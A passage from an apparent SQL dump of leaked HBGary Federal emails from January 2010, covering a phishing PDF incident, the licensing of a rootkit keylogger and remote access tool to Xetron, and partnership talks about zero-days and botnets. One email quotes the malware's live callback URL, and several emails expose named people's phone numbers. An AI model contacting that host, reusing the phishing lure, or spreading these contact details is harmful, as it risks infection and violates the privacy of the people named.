CH1302-APtech-c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WT92-APremarks:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; service providermnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNIC-HMmnt-lower:&nbsp;&nbsp;&nbsp; MAINT-CNCGROUP-JLmnt-routes:&nbsp;&nbsp; MAINT-CNCGROUP-RRchanged:&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;hm-changed@apnic.net&nbsp;20030211status:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ALLOCATED PORTABLEchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hm-changed@apnic.net&nbsp;20040301changed:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hm-changed@apnic.net&nbsp;20060124changed:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hm-changed@apnic.net&nbsp;20090508source:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICroute:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 221.8.0.0/15descr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNC Group CHINA169 Jilin Province Networkcountry:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNorigin:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AS4837mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAINT-CNCGROUP-RRchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abuse@cnc-noc.net&nbsp;20060118source:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICperson:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ChinaUnicom Hostmasternic-hdl:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CH1302-APe-mail: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abuse@chinaunicom.cnaddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No.21,Jin-Rong Streetaddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Beijing,100140address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; P.R.Chinaphone:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-10-66259940fax-no:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-10-66259764country:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abuse@chinaunicom.cn&nbsp;20090408mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAINT-CNCGROUPsource:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICperson:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wang Tiegangnic-hdl:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WT92-APe-mail:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jhli_jl@mail.jl.cnaddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NO.3535,Renmin Street, ChangChun ,address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Jilin province , 130021 , P.R. Chinaphone:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-431-5560792fax-no:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-431-5560816country:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jhli_jl@mail.jl.cn&nbsp;20060626mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAINT-CNCGROUP-JLsource:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICBold: Object type.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8585,'aaron_hbgary_com/8585.html'),(1207,'2010-01-19','rich@hbgary.com','/aaron@hbgary.com/new/1297000274.M695722P3547Q1207.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Targeted PDF attack - hit HBGary -','Hey Aaron no problemo.  Ill give you a call around 10.  I\'m just wrapping up some additional analysis and the report.RichSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 19 Jan 2010 07:58:27 -0500To: Rich Cummings&lt;rich@hbgary.com&gt;Subject: Re: Targeted PDF attack - hit HBGary -Hey Rich,If you have some time give me a call today. &nbsp;I would like to find out any information about this attack. &nbsp;I am guessing this is some variant of the attack that hit google, yahoo, Northrop, etc.AaronOn Jan 15, 2010, at 9:27 AM, Rich Cummings wrote:All,&nbsp;Penny received a fake purchase order from “GE”.&nbsp; Bob opened the PDF on his machine because he was expecting a purchase order from them.&nbsp; The PDF that we received will beacon back to China after the PDF is opened up and looked at.&nbsp; Below is where the PDF reaches out to get an update.&nbsp; 221.9.252.12/rbin/update.php&nbsp;I’m meeting Bob for lunch to image his machine with FDPro and Encase to gather all facts.&nbsp; Has anyone else opened the pdf? &nbsp;&nbsp;&nbsp;More to come.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inetnum:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 221.8.0.0 - 221.9.255.255netname:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UNICOM-JLdescr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; China Unicom JILIN province networkdescr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; China Unicomcountry:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNadmin-c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CH1302-APtech-c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WT92-APremarks:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; service providermnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNIC-HMmnt-lower:&nbsp;&nbsp;&nbsp; MAINT-CNCGROUP-JLmnt-routes:&nbsp;&nbsp; MAINT-CNCGROUP-RRchanged:&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;hm-changed@apnic.net&nbsp;20030211status:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ALLOCATED PORTABLEchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hm-changed@apnic.net&nbsp;20040301changed:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hm-changed@apnic.net&nbsp;20060124changed:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hm-changed@apnic.net&nbsp;20090508source:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICroute:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 221.8.0.0/15descr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNC Group CHINA169 Jilin Province Networkcountry:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNorigin:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AS4837mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAINT-CNCGROUP-RRchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abuse@cnc-noc.net&nbsp;20060118source:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICperson:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ChinaUnicom Hostmasternic-hdl:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CH1302-APe-mail: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abuse@chinaunicom.cnaddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No.21,Jin-Rong Streetaddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Beijing,100140address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; P.R.Chinaphone:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-10-66259940fax-no:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-10-66259764country:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;abuse@chinaunicom.cn&nbsp;20090408mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAINT-CNCGROUPsource:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICperson:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wang Tiegangnic-hdl:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WT92-APe-mail:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jhli_jl@mail.jl.cnaddress:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NO.3535,Renmin Street, ChangChun ,address:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Jilin province , 130021 , P.R. Chinaphone:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-431-5560792fax-no:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +86-431-5560816country:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CNchanged:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;jhli_jl@mail.jl.cn&nbsp;20060626mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAINT-CNCGROUP-JLsource:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; APNICBold: Object type.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',959,'aaron_hbgary_com/959.html'),(1208,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000274.M944853P3547Q1208.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Need agreement(s) between HBGary, HBGary Fed and Xetron','Penny,\r\n\r\nAre you writing this up?  or someone else?\r\n\r\nAaron\r\n\r\n\r\nOn Jan 15, 2010, at 3:20 PM, Penny Leavy wrote:\r\n\r\n> We need an agreement from Xetron, they should have a source code\r\n> agreement.   General counsel will probably want to have them sign\r\n> their paperwork..  Terms of deal\r\n> \r\n> 1.  WE will provide object code and source code for this specific Juicy Fruit.\r\n> \r\n> 2.  They can not sell this code without providing HBGary with a\r\n> royalty (bob, please provide a price)\r\n> \r\n> 3,.  We own ALL rights to software Any deriratives, all original or\r\n> modified source code belongs to HBGary until there is a purchase.\r\n> \r\n> 4.  No source code can leave Xetron, they must maintain control of\r\n> this at all times\r\n> \r\n> 5.  All modifications need to be done by Xetron, not HBGary, which is\r\n> why we are providing source.\r\n> \r\n> \r\n> IF they want a contract with HBGary Federal that is fine, we just need\r\n> to have one between us and Fed\r\n> \r\n> On Thu, Jan 14, 2010 at 6:56 AM, Bob Slapnik  wrote:\r\n>> Penny and Aaron,\r\n>> \r\n>> \r\n>> \r\n>> Aaron wants to provide Xetron with some JF code to be used for\r\n>> demonstrations to their end customers.  Those demonstrations could lead to\r\n>> JF sales or ongoing services work.  There is significant revenue potential\r\n>> doing testing of JF code acquired elsewhere or adding features for mission\r\n>> specific uses.\r\n>> \r\n>> \r\n>> \r\n>> We need to execute either one tri-party agreement or two separate agreements\r\n>> HBG & HBGFed and HBGFed & Xetron.  Below are some points to cover in the\r\n>> agreement(s).\r\n>> \r\n>> \r\n>> \r\n>> Identification of the HBGary IP.  Here are the items we are planning to\r\n>> furnish Xetron.  Another item could be added, but no other items have been\r\n>> identified yet.\r\n>> \r\n>> \r\n>> \r\n>> ·         Adobe Macromedia Flash Player Remote Access Tool\r\n>> \r\n>> ·         HBGary Rootkit Keylogger Platform\r\n>> \r\n>> ·         Software Integration Toolkit Module\r\n>> \r\n>> ·         This includes both object and source code and documentation\r\n>> \r\n>> \r\n>> \r\n>> Agreement(s) need to state the following:\r\n>> \r\n>> \r\n>> \r\n>> ·         The IP is owned by HBGary and HBGary will retain ownership.\r\n>> \r\n>> ·         HBGary Federal are Xetron are restricted as to what they can do\r\n>> with the code.\r\n>> \r\n>> ·         HBGary Federal and Xetron can perform the following:\r\n>> \r\n>> o   Test the code to verify how it works\r\n>> \r\n>> o   Make minor revisions to the source code and recompile it\r\n>> \r\n>> o   Demonstrate it to their end customers\r\n>> \r\n>> o   Can give the end customer high level marketing documents that describe\r\n>> the value to the tools without disclosing anything about the underlying\r\n>> technologies (the “secret sauce”).\r\n>> \r\n>> ·         HBGary Federal and Xetron may not do the following:\r\n>> \r\n>> o   May not give any portion of the IP to any other party\r\n>> \r\n>> o   May not sell the IP or software licenses without full disclosure and\r\n>> consent from HBGary\r\n>> \r\n>> ·         HBGary and Xetron will limit the number of people who learn of the\r\n>> existence of these tools to only those with “a need to know”.\r\n>> \r\n>> \r\n>> \r\n>> I’m sure the two of you will add clauses that I haven’t thought of.\r\n>> \r\n>> \r\n>> \r\n>> Bob\r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16451,'aaron_hbgary_com/16451.html'),(1209,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000275.M132232P3547Q1209.eml','Jim@hbgary.com','Training','Hi Jim,\r\n\r\nSorry for redundant emails but just wanting to make sure.  I thought there was a malware analysis class using responder pro in Feb.?  But the only one I see is in March.  Is that the case?  Where will it be taught?  How much is it?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10984,'aaron_hbgary_com/10984.html'),(1210,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000275.M314379P3547Q1210.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Netwitness','Any further movement on getting together with the Netwitness folks?  If it would be possible I would like to get a demo of technologies as well.  Its been a while.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7338,'aaron_hbgary_com/7338.html'),(1211,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000275.M575858P3547Q1211.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: ES Big Ideas','Checking on class.EndGames is good on the offense side of the house, but they don\'t want services work. &nbsp;They run a different model for their exploits. &nbsp;They generate them all in house, and they do a lot of them per year. &nbsp;They then sell the subscription to the use of them...I am a little fuzzy on these details. &nbsp;I am going to meet with John (sales guy) then chris (ceo). &nbsp;They also do a lot of work on penetrating botnets. &nbsp;Also scouring the web and finding vulnerabilities, etc. &nbsp;They they are a good external data feed for intelligence value. &nbsp;We need a good open source feed that includes social networks. &nbsp;Get Netwitness for the network information, HBGary for the internals and host base security, Palantir to bring all the data together.I think there are also maybe 1 or 2 other companies missing. &nbsp;I see initially a great capability for analysis, but eventually as these products are integrated I see a great automated security suite from external to perimeter to host. &nbsp;We could do what I wanted to do in IS which is develop the next gen SOC capability moving towards that extending into enterprise cyber security. &nbsp;Let me think on the price points and what we could do for each.Palantir license cost is expensive. &nbsp;There are some other link analysis tools, Maltego is one by Peterva. &nbsp;Probably not as good but maybe good enough for the smaller customers.On the mobile side I am thinking of doing what Ted and I did before but doing it right, focused on mobile. &nbsp;Our company is in the position that we could spin things off quite easily if we had some funding and I have a few folks that could start developing some iphone apps tomorrow.Lets talk a little about this. &nbsp;Can u give me a call?AaronOn Jan 19, 2010, at 7:49 AM, Masterson, Brian (Xetron) wrote:Hay Aaron,I have talked to End Game.&nbsp; We have an NDA in place and I need to go meet with them but I just have not had time.You have a better understanding of the products at this point so I am relying on your analysis.&nbsp; How do you see these tools being integrated together?&nbsp; I can two money sources; Xetron NCTAs and going after sector money.&nbsp; There may be another one that I can capitalize on.&nbsp;&nbsp; John Jadik, our VP, had a consultant into Baltimore last week to discuss growth.&nbsp;&nbsp; I was not there but Bill was. &nbsp;He told me the consultant told the attendees that Xetron should put all their resources into cyber as it is the only growth area within our portfolio.&nbsp; Now, John held back some NCTAs this year so if I could put a proposal to him I could possibly get the heldback NCTAs.So, what do you see as the integration needs given price points of, say, 100-200K(6-12MM), 500K, 1M and 2M?&nbsp; I can turn on 100K tomorrow, or as soon as we can get the tools assembled.&nbsp; Also, I would like to get ACT&amp;D’s Information geometry technology integrated to see if it can actually do anything of benefit.I talked to Matt at Palantir yesterday.&nbsp; Their minimal license cost is several hundred K.&nbsp; That is pretty pricey.&nbsp; Would be nice if they had a lower-priced entry point but then, it only takes a few multi-mil licenses to make the year for you.I am going to use our Cygnus program for your clearances.&nbsp; The sell is that we are going to look at integrating HBGary products and technology into the base-end so we need your assistance and thus the clearance request.&nbsp; The Cygnus PM was out yesterday so I will talk to him today if he is back.Let me know about the class in DC in March.&nbsp; If not, we’ll do February.&nbsp; March may be too long to wait.On the mobile side, what are you thinking?&nbsp; Brian Christos brought me an opportunity for some mobile security work which I have some IRAD working on.&nbsp;So, can you through me slides on what you think can be done for the price points and what you think these products will look like as a Threat Intelligence Center?&nbsp;Brian&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3543From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 18, 2010 3:53 PMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: ES Big Ideas&nbsp;Hey Brian,&nbsp;I the idea of a Threat Intelligence Center that works or should I say blurs the line between the two sides, offense and defense. &nbsp;I had a great conversation with a company called End Games last week. &nbsp;Have you heard of them? &nbsp;They have some significant capabilities on offense. &nbsp;They develop more inhouse zero days per year than anyone I have heard of. &nbsp;They also control some significant capabilities... I am not sure how actually they do some of the things they do but they have all the big customers. &nbsp;They are not in the services business, they only sell capabilities and subscriptions, so they are interested in partnering with HBGary Federal to work their capabilities on the services side. &nbsp;We are meeting with Netwitness next week to discuss the same thing.&nbsp;So no we have HBGary, Palantir, EndGames, Netwitness....all products/capabilities with Xetron/HBGary handling the services/deployment of these capabilities on site. &nbsp;If Xetron can fund much of the integration it would get us their much faster....all these other guys are small companies with great capability, and of course you know that HBGary Federal is a very small company with big ideas. &nbsp;I would like to partner tightly to you guys to help build my business.... sounds like a win win, eh?&nbsp;What I am talking about is basically putting together a cyber version of an intel service, very focused on APT. &nbsp;As was mentioned a few times at the AF cyber conference last week. &nbsp;Cybersecurity efforts made over the last year or so have greatly improved our security against average threats, but has done really nothing to protect against APT.&nbsp;Thoughts?&nbsp;Aaron&nbsp;P.S. &nbsp;On the class, the Feb. class is the only one of its type. &nbsp;Maybe a DC class in March, have to check.&nbsp;Any status on the clearances? &nbsp;I can\'t remember, but were you going to be able to put us in for IC tickets as well?&nbsp;Another idea. &nbsp;What about building out some mobile capability. &nbsp;Maybe some mobile commercial capability? &nbsp;I have some ideas here.&nbsp;&nbsp;On Jan 18, 2010, at 1:58 PM, Masterson, Brian (Xetron) wrote:Hey Aaron,Just getting back into it.&nbsp; ES is looking for big ideas to fund for the year.&nbsp;&nbsp; Do you have any thoughts on a sizeable investment that we could make to further develop an HBGary/Palantir capability?&nbsp; I have one in the works for network defense but am looking for others.BrianBrian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3543&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9891,'aaron_hbgary_com/9891.html'),(1212,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000275.M817543P3547Q1212.eml','\"Alex Nieves\" <alexander.nieves@mantech.com>','Checking in','Hi Alex,\r\n\r\nAre you still interested in setting up an HBGary product demo?\r\n\r\nI was at the Cyber conference in Colorado Springs last week and spoke to a Col. Thomas French, in one of his talks he specifically mentioned cyber based information operations, specifically about the types we discussed in our last meeting, just not on the commercial side.  Anyway, are you still interested in pursuing this idea?  Northrop is loosing work in that area and is likely going to have some of my old team coming available in Colorado Springs.  These are people you just don\'t come across very easily.  Game developers, cartoonists, 3d modelers and animators, script writers (he has actually won many hollywood script contests), etc.  I am very eager to build up this capability on mobile platforms and would like to work together on this if you are still interested.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10184,'aaron_hbgary_com/10184.html'),(1213,'2010-01-19','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','/aaron@hbgary.com/new/1297000276.M12715P3547Q1213.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Checking in','Yes indeed, thanks for the reminder. how much time would you need \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 8:50 AM\r\nTo: Nieves, Alexander\r\nSubject: Checking in\r\n\r\nHi Alex,\r\n\r\nAre you still interested in setting up an HBGary product demo?\r\n\r\nI was at the Cyber conference in Colorado Springs last week and spoke to\r\na Col. Thomas French, in one of his talks he specifically mentioned\r\ncyber based information operations, specifically about the types we\r\ndiscussed in our last meeting, just not on the commercial side.  Anyway,\r\nare you still interested in pursuing this idea?  Northrop is loosing\r\nwork in that area and is likely going to have some of my old team coming\r\navailable in Colorado Springs.  These are people you just don\'t come\r\nacross very easily.  Game developers, cartoonists, 3d modelers and\r\nanimators, script writers (he has actually won many hollywood script\r\ncontests), etc.  I am very eager to build up this capability on mobile\r\nplatforms and would like to work together on this if you are still\r\ninterested.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3941,'aaron_hbgary_com/3941.html'),(1214,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000276.M305109P3547Q1214.eml','\"Rich Cummings\" <rich@hbgary.com>','Fwd: Checking in','How much time would you need for a demo for some of the senior leadership at Mantech?AaronBegin forwarded message:From: \"Nieves, Alexander\" &lt;Alexander.Nieves@ManTech.com&gt;Date: January 19, 2010 9:05:26 AM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Checking inYes indeed, thanks for the reminder. how much time would you need -----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 19, 2010 8:50 AMTo: Nieves, AlexanderSubject: Checking inHi Alex,Are you still interested in setting up an HBGary product demo?I was at the Cyber conference in Colorado Springs last week and spoke toa Col. Thomas French, in one of his talks he specifically mentionedcyber based information operations, specifically about the types wediscussed in our last meeting, just not on the commercial side. &nbsp;Anyway,are you still interested in pursuing this idea? &nbsp;Northrop is loosingwork in that area and is likely going to have some of my old team comingavailable in Colorado Springs. &nbsp;These are people you just don\'t comeacross very easily. &nbsp;Game developers, cartoonists, 3d modelers andanimators, script writers (he has actually won many hollywood scriptcontests), etc. &nbsp;I am very eager to build up this capability on mobileplatforms and would like to work together on this if you are stillinterested.Thanks,Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7826,'aaron_hbgary_com/7826.html'),(1215,'2010-01-19','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000276.M588676P3547Q1215.eml','aaron@hbgary.com,aaron@hbgary.com','Re: Endgames / HB Gary Federal','Can you call me and we can discuss? Thanks\r\nJohn\r\n7036229025\r\nJohn M Farrell\r\nVP Federal, Endgame Systems\r\n703.622.9025 M\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: John Farrell\r\nCc: Chris Rouland\r\nSent: Tue Jan 19 06:56:52 2010\nSubject: Re: Endgames / HB Gary Federal\r\n\r\nHi John,\r\n\r\nWhat does your week look like, maybe we can find some time to get together.\r\n\r\nAaron\r\n\r\n\r\nOn Jan 14, 2010, at 4:31 PM, Chris Rouland wrote:\r\n\r\n> John,\r\n> \r\n> I wanted to introduce you to Aaron Barr, the CEO of HBGary Federal.  This is a new company spun out of HB Gary focused on classified government services in our space.  Aaron may have an opportunity to work with us on a Cayman/Corsica data feed for the Army, as well as a few others.  Hopefully you guys can get together face to face soon in DC.\r\n> \r\n> Thanks,\r\n> \r\n> Chris\r\n> \r\n> --\r\n> Chris Rouland\r\n> CEO\r\n> Endgame Systems\r\n> chris@endgames.us\r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12089,'aaron_hbgary_com/12089.html'),(1216,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000276.M829504P3547Q1216.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Heard of EndGames Systems','Matt,\r\n\r\nThis company has some very interesting capability for Botnets, Zero days, internet crawling.  I have a few meetings schedules over the next week.  I think they would be great to add to our partnership.  Maybe next week or the following I would like to bring them in to your space and we can all sit down and talk collectively.\r\n\r\nHows that sound?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8290,'aaron_hbgary_com/8290.html'),(1217,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000277.M291553P3547Q1217.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','EndGames','Greg,\r\n\r\nI have had a few really good conversations with Endgames.  They have some significant capability for botnets (as you mentioned), Zero days, and internet crawling/fingerprinting.  They are interested in a partnership.  I have a few meetings scheduled over the next few weeks with their folks and will then likely bring them in to talk collectively with Palantir.  Our idea of a Threat Intelligence Center and bringing small innovative companies together to solve the bigger problems was something that one of EndGames customers had mentioned vaguely to them a few weeks back so he said this was great timing.  Also one of their customers mentioned an Endgames/HBGary partnership would be a good thing a few days ago.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5537,'aaron_hbgary_com/5537.html'),(1218,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000277.M512568P3547Q1218.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: ES Big Ideas','Begin forwarded message:From: \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt;Date: January 19, 2010 7:49:41 AM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: ES Big IdeasHay Aaron,I have talked to End Game.&nbsp; We have an NDA in place and I need to go meet with them but I just have not had time.You have a better understanding of the products at this point so I am relying on your analysis.&nbsp; How do you see these tools being integrated together?&nbsp; I can two money sources; Xetron NCTAs and going after sector money.&nbsp; There may be another one that I can capitalize on.&nbsp;&nbsp; John Jadik, our VP, had a consultant into Baltimore last week to discuss growth.&nbsp;&nbsp; I was not there but Bill was. &nbsp;He told me the consultant told the attendees that Xetron should put all their resources into cyber as it is the only growth area within our portfolio.&nbsp; Now, John held back some NCTAs this year so if I could put a proposal to him I could possibly get the heldback NCTAs.So, what do you see as the integration needs given price points of, say, 100-200K(6-12MM), 500K, 1M and 2M?&nbsp; I can turn on 100K tomorrow, or as soon as we can get the tools assembled.&nbsp; Also, I would like to get ACT&amp;D’s Information geometry technology integrated to see if it can actually do anything of benefit.I talked to Matt at Palantir yesterday.&nbsp; Their minimal license cost is several hundred K.&nbsp; That is pretty pricey.&nbsp; Would be nice if they had a lower-priced entry point but then, it only takes a few multi-mil licenses to make the year for you.I am going to use our Cygnus program for your clearances.&nbsp; The sell is that we are going to look at integrating HBGary products and technology into the base-end so we need your assistance and thus the clearance request.&nbsp; The Cygnus PM was out yesterday so I will talk to him today if he is back.Let me know about the class in DC in March.&nbsp; If not, we’ll do February.&nbsp; March may be too long to wait.On the mobile side, what are you thinking?&nbsp; Brian Christos brought me an opportunity for some mobile security work which I have some IRAD working on.&nbsp;So, can you through me slides on what you think can be done for the price points and what you think these products will look like as a Threat Intelligence Center?&nbsp;Brian&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3543From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 18, 2010 3:53 PMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: ES Big Ideas&nbsp;Hey Brian,&nbsp;I the idea of a Threat Intelligence Center that works or should I say blurs the line between the two sides, offense and defense. &nbsp;I had a great conversation with a company called End Games last week. &nbsp;Have you heard of them? &nbsp;They have some significant capabilities on offense. &nbsp;They develop more inhouse zero days per year than anyone I have heard of. &nbsp;They also control some significant capabilities... I am not sure how actually they do some of the things they do but they have all the big customers. &nbsp;They are not in the services business, they only sell capabilities and subscriptions, so they are interested in partnering with HBGary Federal to work their capabilities on the services side. &nbsp;We are meeting with Netwitness next week to discuss the same thing.&nbsp;So no we have HBGary, Palantir, EndGames, Netwitness....all products/capabilities with 